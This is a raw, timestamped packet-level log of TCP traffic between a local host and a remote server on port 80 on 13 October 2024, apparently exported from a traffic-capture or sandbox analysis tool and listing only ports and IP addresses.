Oct 13, 2024 14:49:18.577553988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577560902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.577595949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.577595949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.578222036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578236103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578246117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578270912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.578300953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.578579903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578635931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578636885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.578644991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.578676939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.578706026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.579619884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.579638004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.579647064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.579667091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.579694033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.580239058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.580249071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.580259085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.580295086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.580322027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.580324888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.580368042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.608910084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608923912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608935118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608943939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608954906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608963966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608964920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.608974934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.608990908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.609039068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.609728098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.609738111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.609777927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.656029940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656045914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656056881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656171083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.656397104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656450033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656460047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656471014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.656480074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.656506062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.656527996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659280062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659291983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659302950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659332991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659349918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659353018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659362078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659373999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659396887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659415007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659415007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659442902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659801006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659818888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659828901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659840107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659849882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659852982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659859896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659872055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659874916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659882069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659898996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659907103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659917116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659918070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659929037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659939051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659950018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659950018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659960985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659971952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.659972906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659982920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.659993887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.660005093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.660005093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.660016060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.660027981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.660034895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.660056114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.660075903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.677618980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.677654028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.677686930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.677711964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.677711964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.677750111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.698220968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.698257923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.698292017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.698297977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.698395967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.698395967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.698911905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.698966026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.698970079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.698997974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.699024916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.699029922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.699054003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.699079037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.699845076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.699876070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.699906111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.699908972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.699923992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.699958086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.700053930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.700105906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.700766087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.700795889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.700825930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.700829983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.700841904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.700877905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.701364994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.701430082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.701561928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.701591015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.701613903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.701623917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.701637030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.701656103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.701669931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.701700926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.702598095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.702621937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.702630997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.702640057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.702668905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.702692032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703113079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703124046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703135967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703152895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703169107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703222990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703533888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703563929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703577995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703588963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703630924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703630924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703701019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703754902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703759909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703772068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703800917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703829050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703838110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703849077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703860044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703871012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703881979 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703882933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703910112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703946114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.703977108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703986883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.703998089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704009056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704020023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704020023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704031944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704058886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704088926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704123974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704134941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704145908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704155922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704166889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704175949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704175949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704195023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704229116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704265118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704276085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704284906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704307079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704335928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704498053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704540968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704549074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704554081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704581976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704610109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704617977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704629898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704646111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704660892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704663992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704680920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704688072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704699039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704719067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704749107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704807043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704818964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704830885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704842091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704853058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704858065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704890966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704936028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.704971075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704983950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.704994917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705005884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705018044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705018044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705029011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705038071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705041885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705053091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705064058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705073118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705097914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705099106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705111980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705123901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705127001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705164909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705166101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705180883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705193043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705193043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705202103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705236912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705265045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705307961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705321074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705332994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705343962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705355883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705354929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705368042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705379963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705387115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705420971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.705437899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.705499887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.744570971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744582891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744591951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744637012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.744657040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.744662046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744673014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744683981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744693995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744704008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.744712114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.744728088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.744750023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.747728109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.747776985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.747966051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.747976065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.747987032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.747998953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748008966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748013973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748019934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748073101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748166084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748177052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748187065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748197079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748203993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748208046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748219967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748226881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748231888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748243093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748253107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748264074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748264074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748311043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748421907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748433113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748439074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748450041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748461008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748470068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748471975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748485088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748492002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748536110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748569012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748585939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748594999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748605013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748616934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748653889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748655081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748665094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748677015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748689890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.748697996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748714924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.748744965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.766400099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766415119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766427040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766439915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.766454935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766464949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766472101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.766475916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766485929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.766504049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.766520977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.788850069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.788866043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.788877010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.788897991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.788933039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.789288998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.789302111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.789310932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.789320946 CEST	80	49720	185.215.113.37	192.168.2.6
